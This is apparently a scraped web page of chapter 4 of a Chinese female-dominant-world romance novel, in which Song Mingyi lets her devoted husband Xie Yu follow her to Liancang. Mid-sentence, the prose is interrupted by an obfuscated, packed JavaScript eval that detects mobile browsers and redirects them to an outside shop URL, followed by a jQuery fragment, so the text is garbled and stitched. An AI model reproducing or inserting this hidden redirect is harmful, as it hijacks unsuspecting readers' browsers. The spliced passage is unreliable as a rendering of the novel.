4. 第四章
作品:《造反,从今天开始(女尊)》 “妻主去连仓还有什么要准备的,可以告诉我,我提前备好。”
“去连仓前,需要拜别母父、亲人,怕来不及准备。”谢瑜语气轻快,带着对远行的期盼。
可是她也没计划要带他去啊。
当然不能这样直说,宋明夷甚至不敢转身看小公子的脸色,便就着这个姿势,仔细斟酌了一番用词:“连仓苦寒,不如京都繁华,且路途遥远,你……就别去了。”
“妻主还是要休弃我吗?”
“并非如此……”
“常伴妻主身侧,照顾妻主起居不正是身为夫郎该做的吗,若非要休弃我,为何不允我跟着?”
“并非如此……”
“妻主可是对我有不满?”
“并非如此……”
身后之人突然将她环住,俯在她腰间,顷刻间腰上衣料便被沁湿,宋明夷只觉脊背发麻,那酥麻痒意一路往上攀升,直达天灵盖,大脑骤然放空,什么也想不起来,更别提将人推开。
谢瑜不再发问,她却松了口:“罢了,你若不怕艰辛,便跟着吧。”
总归是进了她宋家的门,她没有不护着的道理。
只是一介男子,届时不论成败,为他谋个生路,也并非难事。
谢瑜颤声呢喃:“妻夫本该同甘共苦,不离不弃。”
他到现在都无法忘记,初知爹爹在世时为自己定过婚约的狂喜。
那日,他彻夜未眠。
爹爹说过,妻夫是要彼此爱重,生死不弃的。
生死不弃,生死不弃啊,那是不是意味着再也不会只剩自己一人。
至此他有了可以坚持下来的寄托。
繁重的课业,严苛的礼法,因为想到在世间某个地方他的未婚妻在等他,不再难以熬煎。
他像是黑暗中濒死之人看见了曙光,靠着仆从零零碎碎地收集关于她的消息来度日。
只是听着她的事迹,幻想她的模样,便能忘记所有委屈,继续做让母亲、继父挑不出错的长公子。
有了婚约是一件多好的事啊,昏暗看不到头的路,一下子就被铺平照亮了,他只需沿着这条路走下去,终有一日,会至出口。
夜深人静,他不止一次想,那她呢?她也同样在期待着他吗?
他没奢望过答案……现在知晓了,妻主没有期待过他。
可那已经不重要了,好不容易得偿所愿,即便妻主不喜,他又如何能轻易放手呢?
说好生死不弃,那便是死也要抓住。
谢瑜眼神闪动,又喃喃一遍:“我想跟着妻主,同甘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219373|197508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
共苦,不离不弃。”
听着近乎誓言的呓语,宋明夷心尖晃了晃,想回身看看他。
谢瑜感觉到了她的动作,立即松手,以最快的速度翻身上榻,侧身朝内,用被子将头盖住,不露一丝缝隙。
哭过之后,眼睛定是又红又肿,他不愿让妻主见他不堪模样,反正妻主已准备就寝,待妻主睡后,他再起来拾掇拾掇。
因此她转过身时,就只看见一道残影变成一团隆起的被子。
安安静静仿佛已进入深眠。
“嗯?”
挑眉,不理解,想不通。
若非后腰还湿着一块,她真要以为方才情形只是臆想。
果然关于男子的事还是得问听禾,今日没找到机会,改日定要好好讨教。
盯着那团隆起看了一会儿,她无声无息出了门。
门将将合上,谢瑜猛地掀开被子,坐直了身,死死盯着木门,眸中卷起万般汹涌。
原来妻主竟连与他共处一室也不愿了吗?分明最初还是决定要睡在这儿的。
是因为对他方才无理取闹的模样生了嫌恶,只是碍于教养强忍不发?
还被迫答应了他的请求,所以现在是一刻也不能与他待在一起了?
他神情木然,静默枯坐。

